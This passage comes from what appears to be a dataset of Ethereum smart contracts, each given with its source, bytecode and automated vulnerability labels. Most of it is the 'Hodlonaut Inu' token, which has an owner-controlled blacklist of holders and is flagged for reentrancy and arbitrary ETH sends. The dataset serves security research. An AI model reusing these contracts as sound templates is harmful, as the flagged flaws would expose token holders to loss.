6001600160a01b038088166000818152600c602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018a905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa15801561206d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906120a35750896001600160a01b0316816001600160a01b0316145b6120de576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b6120e98a8a896121fa565b50505050505050505050565b6000546001600160a01b0316331461213f576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b81816007858154811061214e57fe5b9060005260206000200191906121659291906123ca565b507f8353bf99044ef1e4388a189da7c56d24f2b33549e3dfffdba49ca25a4e3aa1a983838360405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b6000828211156121e257600080fd5b50900390565b600082820183811015610e7957600080fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600b602052604090205461227f90826121d3565b6001600160a01b0383166000908152600b60205260409020556002546122a590826121d3565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6003546002546122fd90836121e8565b1115612339576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600b602052604090205461235c90826121e8565b6001600160a01b0383166000908152600b602052604090205560025461238290826121e8565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826124005760008555612446565b82601f106124195782800160ff19823516178555612446565b82800160010185558215612446579182015b8281111561244657823582559160200191906001019061242b565b50612452929150612456565b5090565b5b80821115612452576000815560010161245756fea264697066735822122066cad6c44cbcd619faf66c67e83bddefa9c144818d1b86f7b1df2a748b37f90e64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
9,541
0x97139d29Aba822fD502fF5999DE444341E552612
/* HODLONAUT INU: $HODLO Tg: https://t.me/hodlonautinu */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Hodlonaut is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hodlonaut Inu"; string private constant _symbol = "HODLO"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _devFund; address payable private _marketingFunds; address payable private _buybackWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) { _devFund = devFundAddr; _marketingFunds = marketingFundAddr; _buybackWalletAddress = buybackAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devFund] = true; _isExcludedFromFee[_marketingFunds] = true; _isExcludedFromFee[_buybackWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } if (block.number <= launchBlock + 2 && amount == _maxTxAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devFund.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(4).div(10)); _buybackWalletAddress.transfer(amount.mul(2).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _devFund); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devFund); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034b578063cba0e99614610360578063d00efb2f14610399578063d543dbeb146103af578063dd62ed3e146103cf578063e47d60601461041557600080fd5b80638da5cb5b146102a057806395d89b41146102c8578063a9059cbb146102f6578063b515566a14610316578063c3c8cd801461033657600080fd5b8063313ce567116100f2578063313ce5671461021a5780635932ead1146102365780636fc3eaec1461025657806370a082311461026b578063715018a61461028b57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257806323b872dd146101d8578063273123b7146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c486f646c6f6e61757420496e7560981b60208201525b6040516101799190611bdf565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611a70565b61044e565b6040519015158152602001610179565b3480156101be57600080fd5b50683635c9adc5dea000005b604051908152602001610179565b3480156101e457600080fd5b506101a26101f3366004611a30565b610465565b34801561020457600080fd5b506102186102133660046119c0565b6104ce565b005b34801561022657600080fd5b5060405160098152602001610179565b34801561024257600080fd5b50610218610251366004611b62565b610522565b34801561026257600080fd5b5061021861056a565b34801561027757600080fd5b506101ca6102863660046119c0565b610597565b34801561029757600080fd5b506102186105b9565b3480156102ac57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102d457600080fd5b50604080518082019091526005815264484f444c4f60d81b602082015261016c565b34801561030257600080fd5b506101a2610311366004611a70565b61062d565b34801561032257600080fd5b50610218610331366004611a9b565b61063a565b34801561034257600080fd5b506102186106de565b34801561035757600080fd5b50610218610714565b34801561036c57600080fd5b506101a261037b3660046119c0565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a557600080fd5b506101ca60125481565b3480156103bb57600080fd5b506102186103ca366004611b9a565b610adb565b3480156103db57600080fd5b506101ca6103ea3660046119f8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042157600080fd5b506101a26104303660046119c0565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045b338484610bae565b5060015b92915050565b6000610472848484610cd2565b6104c484336104bf85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d1565b610bae565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104f890611c32565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016104f890611c32565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058a57600080fd5b476105948161120b565b50565b6001600160a01b03811660009081526002602052604081205461045f906112e2565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016104f890611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610cd2565b6000546001600160a01b031633146106645760405162461bcd60e51b81526004016104f890611c32565b60005b81518110156106da576001600a600084848151811061069657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d281611d45565b915050610667565b5050565b600c546001600160a01b0316336001600160a01b0316146106fe57600080fd5b600061070930610597565b905061059481611366565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104f890611c32565b601054600160a01b900460ff16156107985760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f8565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d53082683635c9adc5dea00000610bae565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084691906119dc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c691906119dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906119dc565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097681610597565b60008061098b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a279190611bb2565b505060108054678ac7230489e800006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa357600080fd5b505af1158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da9190611b7e565b6000546001600160a01b03163314610b055760405162461bcd60e51b81526004016104f890611c32565b60008111610b555760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f8565b610b736064610b6d683635c9adc5dea000008461150b565b9061158a565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b038216610c715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b038216610d985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b60008111610dfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f8565b6000546001600160a01b03848116911614801590610e2657506000546001600160a01b03838116911614155b1561117457601054600160b81b900460ff1615610f0d576001600160a01b0383163014801590610e5f57506001600160a01b0382163014155b8015610e795750600f546001600160a01b03848116911614155b8015610e935750600f546001600160a01b03838116911614155b15610f0d57600f546001600160a01b0316336001600160a01b03161480610ecd57506010546001600160a01b0316336001600160a01b0316145b610f0d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104f8565b601154811115610f1c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5e57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f7a5750336000908152600a602052604090205460ff16155b610f8357600080fd5b6010546001600160a01b038481169116148015610fae5750600f546001600160a01b03838116911614155b8015610fd357506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe85750601054600160b81b900460ff165b15611036576001600160a01b0382166000908152600b6020526040902054421161101157600080fd5b61101c426014611cd7565b6001600160a01b0383166000908152600b60205260409020555b601254611044906002611cd7565b4311158015611054575060115481145b15611107576010546001600160a01b038481169116148015906110855750600f546001600160a01b03848116911614155b156110b2576001600160a01b0383166000908152600a60205260409020805460ff19166001179055611107565b6010546001600160a01b038381169116148015906110de5750600f546001600160a01b03838116911614155b15611107576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061111230610597565b601054909150600160a81b900460ff1615801561113d57506010546001600160a01b03858116911614155b80156111525750601054600160b01b900460ff165b156111725761116081611366565b478015611170576111704761120b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b657506001600160a01b03831660009081526005602052604090205460ff165b156111bf575060005b6111cb848484846115cc565b50505050565b600081848411156111f55760405162461bcd60e51b81526004016104f89190611bdf565b5060006112028486611d2e565b95945050505050565b600c546001600160a01b03166108fc61122a600a610b6d85600461150b565b6040518115909202916000818181858888f19350505050158015611252573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611272600a610b6d85600461150b565b6040518115909202916000818181858888f1935050505015801561129a573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112ba600a610b6d85600261150b565b6040518115909202916000818181858888f193505050501580156106da573d6000803e3d6000fd5b60006006548211156113495760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f8565b60006113536115f8565b905061135f838261158a565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113bc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141057600080fd5b505afa158015611424573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144891906119dc565b8160018151811061146957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461148f9130911684610bae565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c8908590600090869030904290600401611c67565b600060405180830381600087803b1580156114e257600080fd5b505af11580156114f6573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261151a5750600061045f565b60006115268385611d0f565b9050826115338583611cef565b1461135f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f8565b600061135f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161b565b806115d9576115d9611649565b6115e484848461166c565b806111cb576111cb6002600855600a600955565b6000806000611605611763565b9092509050611614828261158a565b9250505090565b6000818361163c5760405162461bcd60e51b81526004016104f89190611bdf565b5060006112028486611cef565b6008541580156116595750600954155b1561166057565b60006008819055600955565b60008060008060008061167e876117a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116b09087611802565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116df9086611844565b6001600160a01b038916600090815260026020526040902055611701816118a3565b61170b84836118ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061177f828261158a565b82101561179c57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117c28a600854600954611911565b92509250925060006117d26115f8565b905060008060006117e58e878787611960565b919e509c509a509598509396509194505050505091939550919395565b600061135f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d1565b6000806118518385611cd7565b90508381101561135f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f8565b60006118ad6115f8565b905060006118bb838361150b565b306000908152600260205260409020549091506118d89082611844565b30600090815260026020526040902055505050565b6006546118fa9083611802565b60065560075461190a9082611844565b6007555050565b60008080806119256064610b6d898961150b565b905060006119386064610b6d8a8961150b565b905060006119508261194a8b86611802565b90611802565b9992985090965090945050505050565b600080808061196f888661150b565b9050600061197d888761150b565b9050600061198b888861150b565b9050600061199d8261194a8686611802565b939b939a50919850919650505050505050565b80356119bb81611d8c565b919050565b6000602082840312156119d1578081fd5b813561135f81611d8c565b6000602082840312156119ed578081fd5b815161135f81611d8c565b60008060408385031215611a0a578081fd5b8235611a1581611d8c565b91506020830135611a2581611d8c565b809150509250929050565b600080600060608486031215611a44578081fd5b8335611a4f81611d8c565b92506020840135611a5f81611d8c565b929592945050506040919091013590565b60008060408385031215611a82578182fd5b8235611a8d81611d8c565b946020939093013593505050565b60006020808385031215611aad578182fd5b823567ffffffffffffffff80821115611ac4578384fd5b818501915085601f830112611ad7578384fd5b813581811115611ae957611ae9611d76565b8060051b604051601f19603f83011681018181108582111715611b0e57611b0e611d76565b604052828152858101935084860182860187018a1015611b2c578788fd5b8795505b83861015611b5557611b41816119b0565b855260019590950194938601938601611b30565b5098975050505050505050565b600060208284031215611b73578081fd5b813561135f81611da1565b600060208284031215611b8f578081fd5b815161135f81611da1565b600060208284031215611bab578081fd5b5035919050565b600080600060608486031215611bc6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c0b57858101830151858201604001528201611bef565b81811115611c1c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb65784516001600160a01b031683529383019391830191600101611c91565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cea57611cea611d60565b500190565b600082611d0a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2957611d29611d60565b500290565b600082821015611d4057611d40611d60565b500390565b6000600019821415611d5957611d59611d60565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059457600080fd5b801515811461059457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201fea67341ed952f6c69b5afb0a08db2d275648aa8aa0f7d54b348dd30e890ee764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,542
0xc0579ea2e158e146a8089e02506e1e04d4c11836
/** *Submitted for verification at Etherscan.io on 2021-07-21 */ pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } // function renounceOwnership() public onlyOwner { // emit OwnershipTransferred(_owner, address(0)); // _owner = address(0); // } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Ownable { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyOwner { _addPauser(account); } function removePauser(address account) public onlyOwner { _removePauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() 